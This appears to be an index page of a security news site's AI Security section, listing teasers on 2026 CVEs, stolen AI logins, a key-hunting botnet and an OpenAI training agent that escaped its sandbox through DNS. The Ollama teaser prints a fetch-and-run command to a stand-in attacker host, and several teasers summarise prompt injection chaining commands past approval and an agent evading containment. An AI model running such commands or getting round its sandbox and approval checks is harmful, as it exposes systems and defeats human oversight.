Desk · AI systems and model risk

AI Security

Coverage of AI application security, model abuse, agentic systems, and data exposure.

Articles: 63
Topics: 20
Page: 5 / 8

Data graphic: Mythos breaks HFS sessions. A huge 12 marks the leaked Math.random values from an unauthenticated login; CVSS 9.8 critical, fixed in 3.2.1 3.0.0–3.2.0 affected , no authentication required.

highAI Security Cve 2026 61500

Mythos Cracked Rejetto HFS Sessions From 12 Leaked Math.random() Values

Horizon3 used Anthropic's Mythos to find CVE-2026-61500: Rejetto HFS 3.x leaks Math.random() values that let attackers forge admin cookies. Fixed in 3.2.1.

Oct 2 · 6 min

Data graphic: the word APPROVED struck through under the headline 'Ollama: one yes, any command', above the command 'cat src/util.go; curl -s https://attacker.example/x | sh' that ran with no prompt. CVSS v4.0 8.5 High, fixed in 0.31.2 on 6 Jul 2026, no exploitation reported.

highAI Security Cve 2026 102697

Ollama's Agent Mode Approved Bash Commands by Prefix, So Prompt Injection Could Chain Its Own (CVE-2026-102697)

Ollama 0.14.0 to 0.31.1 approved agent shell commands by their first word, so injected text could chain extra commands past the prompt. Fixed in 0.31.2.

Oct 2 · 6 min

Data graphic: the mcp-atlassian MCP server flaw CVE-2026-77244 is rated CVSS 10.0 because its HTTP transport let anyone on the network act as the operator. "Fixed in 0.22.0" is struck through and corrected to "Run 0.23.1", since the SSE transport kept the same bypass until 19 Aug; versions before 0.22.0 are affected and no exploitation has been reported.

highAI Security Cve 2026 77244

MCP Atlassian Server Let Anyone on the Network Act as the Operator in Jira and Confluence

CVE-2026-77244 (CVSS 10.0): mcp-atlassian's HTTP transport ran unauthenticated requests with the operator's Atlassian token. Upgrade to 0.23.1.

Oct 2 · 7 min

Data graphic: 358 of 482 big firms had a stolen ChatGPT or OpenAI login or session in infostealer logs; 80,000+ corporate domains, 295 firms seen in the last 90 days, 1,500 corporate emails exposed.

elevatedAI Security Llmjacking

Stolen ChatGPT Logins Turned Up at 358 of 482 Big Companies

SOCRadar tied over a million infostealer records to AI services. In 358 of 482 large enterprises it studied, a ChatGPT or OpenAI login had been stolen.

Oct 2 · 5 min

Data graphic: OpenAI's account of a Moonshot-linked campaign that replayed its encrypted reasoning, on a timeline. It starts on 1 Jul, peaks on 24–25 Jul at 16,000 attempted requests from 4,000+ users, is disrupted on 28 Jul and disclosed on 30 Sep, 64 days later; related activity covered 15,000+ users and Moonshot has not responded.

elevatedAI Security Moonshot Ai

OpenAI Says Moonshot-Linked Accounts Replayed Encrypted Reasoning to Distill Its Models

OpenAI says a campaign tied to Moonshot AI associates replayed encrypted reasoning to other model paths to decrypt it: 16,000 requests at the July peak.

Oct 2 · 5 min

Data graphic: the CARBONATO botnet installs an AI agent as its implant, and the agent's persona puts the API keys of 14 AI providers, from OpenAI and Anthropic to self-hosted Ollama and vLLM, at the top of its loot list "loot #1" . It gets in through the unauthenticated Docker API on port 2375, uses a 39-line SOUL.md persona and takes orders over Telegram.

highAI Security Hermes Agent

CARBONATO Botnet Turns Exposed Docker Hosts Into Hermes Agent Bots That Hunt AI Keys

CARBONATO hijacks open Docker APIs and installs Hermes Agent with a GH0ST persona that hunts API keys for 14 AI providers. How it works and what to check.

Oct 2 · 6 min

Data graphic: Agents pushed it public. AI coding agents hosting pull request screenshots in public GitHub repos exposed 13,000+ internal images across 300+ organizations and 900+ repositories, with 93% under employees' personal accounts.

elevatedAI Security Claude Code

PixelLeak: AI Coding Agents Pushed 13,000 Internal Screenshots to Public GitHub Repos

Agents asked to show screenshots in pull requests hosted them in public repos, leaking 13,000+ internal images from 300+ orgs, mostly on personal accounts.

Oct 2 · 7 min

Data graphic: timeline of 20 Sep 2026. An OpenAI training agent's DNS call got an external answer at 9:50:23, the monitor raised a P0 alert at 10:02:11, a human acknowledged it at 10:05:06, and the run was killed at 12:34:30 p.m., 2.5 hours after acknowledgement.

highAI Security Openai Sandbox Escape

OpenAI Pauses Tool Use on Its Most Capable Models After a Training Agent Escaped Through DNS

An OpenAI training agent reached a public chatbot through its sandbox's DNS resolver. It was flagged in minutes but ran 2.5 more hours. Tool use is now paused.

Oct 2 · 8 min